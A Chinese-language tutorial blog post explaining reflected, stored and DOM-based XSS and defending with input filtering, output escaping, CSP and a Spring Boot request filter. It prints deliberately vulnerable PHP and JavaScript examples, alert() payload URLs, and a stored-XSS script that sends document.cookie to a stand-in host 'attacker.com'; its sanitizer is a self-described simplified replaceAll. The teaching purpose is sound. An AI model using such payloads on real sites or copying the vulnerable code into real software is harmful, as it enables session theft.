XSS 攻击?别怕,我们来聊聊怎么把它防住!

XSS 攻击?别怕,我们来聊聊怎么把它防住!

最近修改安全问题,修改到XSS攻击。
这玩意儿听起来很高大上,但说白了,它就像一个“恶作剧”,攻击者通过它在你访问的网页里塞进一些小纸条(恶意脚本),这些小纸条能让你的浏览器做一些坏事。

别担心,今天我们就来把它拆解得清清楚楚,让你看完就知道怎么应对。

什么是 XSS 攻击?

XSS,全称跨站脚本攻击(Cross-Site Scripting)。它的核心原理是:利用网站对用户输入的信任,把用户输入的恶意脚本注入到网页里。当其他用户访问这个页面时,这段脚本就会在他们的浏览器上执行,这个执行过程就能做很多事情了,比如向攻击者服务器推送用户敏感信息。

浏览器在渲染一个网页时,会把内容分为两部分:

  • 数据:就是我们平时看到的文字、图片,比如“苹果”。
  • 指令:就是告诉浏览器“要做点什么”的代码,比如 <script> 标签。

正常的网站,会把用户输入当成“数据”来处理。

但如果有漏洞,它会把看上去像数据的恶意输入当作指令,浏览器一看是指令,就毫不犹豫地执行了,这就出问题了。

XSS 攻击有哪几种?

我们根据攻击代码的藏身之处,把 XSS 分为三种主要类型:

1. 反射型 XSS(Reflected XSS)

这种攻击就像一面“镜子”。攻击者不会在网站上留下痕迹,而是把恶意代码放在一个特殊的 URL 里,然后引诱你点击。

当你点击后,这个恶意代码会从服务器“反射”回你的浏览器,并立即执行。

特点非持久性。代码只存在于 URL 中,浏览器执行一次,攻击就结束了。

在这里插入图片描述

攻击代码示例

这是一个存在反射型 XSS 漏洞的后端代码(以 PHP 为例,原理对所有后端语言都适用):

// 存在漏洞的后端代码
<?php
  // 从URL的query参数中获取用户输入
  $query = $_GET['query'];
?>
<!DOCTYPE html>
<html>
<body>
  <p>你搜索了:<?php echo $query; ?></p>
</body>
</html>

攻击者构造的恶意 URL 如下:https://example.com/search?query=<script>alert('反射型XSS攻击成功')</script>。当访问该 URL 时,query 变量中的代码被直接写入页面,导致浏览器执行 alert()

2. 存储型 XSS(Stored XSS)

这是一种最危险的攻击。恶意代码被永久地存储在网站的数据库里,比如论坛的评论、博客的留言板。

特点持久性。攻击者只需要植入一次,所有访问这个页面的用户都会中招。

在这里插入图片描述

攻击代码示例

攻击者提交的恶意评论内容如下,这段代码会保存到后端数据库里面,这段代码可以窃取用户的 Cookie 并发送给攻击者:

<script>
  var img = new Image();
  img.src = "http://attacker.com/log.php?cookie=" + document.cookie;
</script>

其他所有用户在查询用户评论的时候,只要访问到这个被注入的恶意代码的评论,都会被窃取 Cookie。

3. DOM 型 XSS(DOM-based XSS)

这是一种特殊的类型,它和服务器完全没关系! 攻击发生在用户的浏览器内部。恶意代码通常藏在 URL 的 # 后面,这部分内容不会发送给服务器。页面上的 JavaScript 会读取这部分不安全的数据,并把它写入 DOM(网页的结构),导致恶意代码被执行。

攻击代码示例

这是一个存在 DOM 型 XSS 漏洞的 JavaScript 代码:

<!DOCTYPE html>
<html>
<body>
  <div id="result"></div>
  <script>
    // 从 URL 的 # 后面获取内容
    var urlContent = window.location.hash.substring(1); 
    // 直接将获取到的内容写入到 DOM 中
    document.getElementById("result").innerHTML = urlContent;
  </script>
</body>
</html>

攻击者构造的恶意 URL 如下:https://example.com/page.html#<img src=x onerror=alert('DOM型XSS')>。当用户点击该链接时,window.location.hash 会获取到恶意代码并被 innerHTML 直接写入到 <div> 中。浏览器会加载这个 <img>,因为 src 属性是无效的,所以 onerror 事件被触发,导致代码执行。

怎么防住 XSS?核心三板斧!

第一步:对输入进行过滤和净化(服务器端)

这是最根本的防护。我们需要在后端接收到用户输入后,就把它当成“脏数据”,进行严格的过滤。
对于关键字符 < > 进行额外处理,比如转义。

第二步:对输出进行编码和转义(前端/模板引擎)

即使第一步不小心漏掉了,我们还有第二道防线。在把数据渲染到网页上之前,我们需要对特殊字符(比如 <>)进行转义,把它们变成浏览器不会执行的普通字符(&lt;&gt;)。

第三步:内容安全策略(CSP)

如果前面两步都失败了怎么办?别慌,我们还有大招!CSP 是一种 HTTP 响应头,它告诉浏览器:“这个页面只能执行来自我指定的安全来源的脚本! ” 这样,就算攻击者成功注入了恶意脚本,浏览器也会因为来源不合法而拒绝执行。

CSP 响应内容示例

一个典型的 CSP 响应头可能长这样:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self'

这个响应头就像一份安全“清单”,告诉浏览器该页面的哪些资源可以被加载和执行。

  • default-src 'self' :这是所有类型资源(图片、字体、CSS、脚本等)的默认来源。'self' 表示只允许加载和执行来自同源地址(同一个域名)的内容。
  • script-src 'self' https://cdn.example.com:这是专门针对 JavaScript 脚本的指令。它告诉浏览器:只允许执行来自本站域名和 https://cdn.example.com 的脚本。
  • style-src 'self' :这是针对 CSS 样式的指令,只允许加载来自本站的样式。

Spring Boot 的防护代码怎么写?

在 Spring Boot 中,最常用的防护方式是使用过滤器(Filter) 。这个过滤器会拦截所有请求,在数据到达你的控制器之前,就对它们进行统一的净化。

1. 核心思路

创建一个 HttpServletRequestWrapper 类,它会“包装”原始的请求,并重写获取参数的方法。当你的代码调用 request.getParameter() 时,实际上调用的是包装类中被重写的方法,这样我们就能在返回数据前对它进行净化。

2. 代码实现
XssFilter (过滤器)

这个过滤器是入口,它会把我们的自定义包装类应用到每一个请求上。

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class XssFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        // 使用我们的自定义包装类包装请求
        chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response);
    }

    @Override
    public void destroy() {}
}
XssHttpServletRequestWrapper (请求包装类)

这个类是净化的核心,它重写了获取参数的方法。

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import org.owasp.validator.html.*; // 推荐使用专业库

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {

    public XssHttpServletRequestWrapper(HttpServletRequest servletRequest) {
        super(servletRequest);
    }

    // 重写获取单个参数的方法
    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        return XssUtils.cleanHtml(value); // 调用净化方法
    }

    // 重写获取参数数组的方法
    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = XssUtils.cleanHtml(values[i]); // 循环净化
        }
        return encodedValues;
    }
    // ... 还可以重写getHeader, getCookies等方法
}
XssUtils (净化工具类)

这部分强烈建议使用像 OWASP Java HTML Sanitizer 这样的专业库。 自己写很容易出现漏判。下面是一个简化的、用于理解的示例:

public class XssUtils {
    public static String cleanHtml(String value) {
        if (value == null) {
            return null;
        }
        // 专业的净化库会在这里工作
        return value.replaceAll("<", "&lt;").replaceAll(">", "&gt;");
    }
}
Spring Boot 配置过滤器

最后,在你的 Spring Boot 应用中注册这个过滤器。

import org.springframework.boot.web.servlet.FilterRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class WebConfig {

    @Bean
    public FilterRegistrationBean<XssFilter> xssFilterRegistration() {
        FilterRegistrationBean<XssFilter> registrationBean = new FilterRegistrationBean<>();
        registrationBean.setFilter(new XssFilter());
        registrationBean.addUrlPatterns("/*"); // 拦截所有请求
        return registrationBean;
    }
}

结语

XSS 防护不是一件难事,只要我们理解它的原理,并记住**“永远不要相信用户的输入”**,同时在输入和输出端都做好把关,就可以大大降低风险。希望这篇文章能帮助你更好地保护你的应用!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ytadpole

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值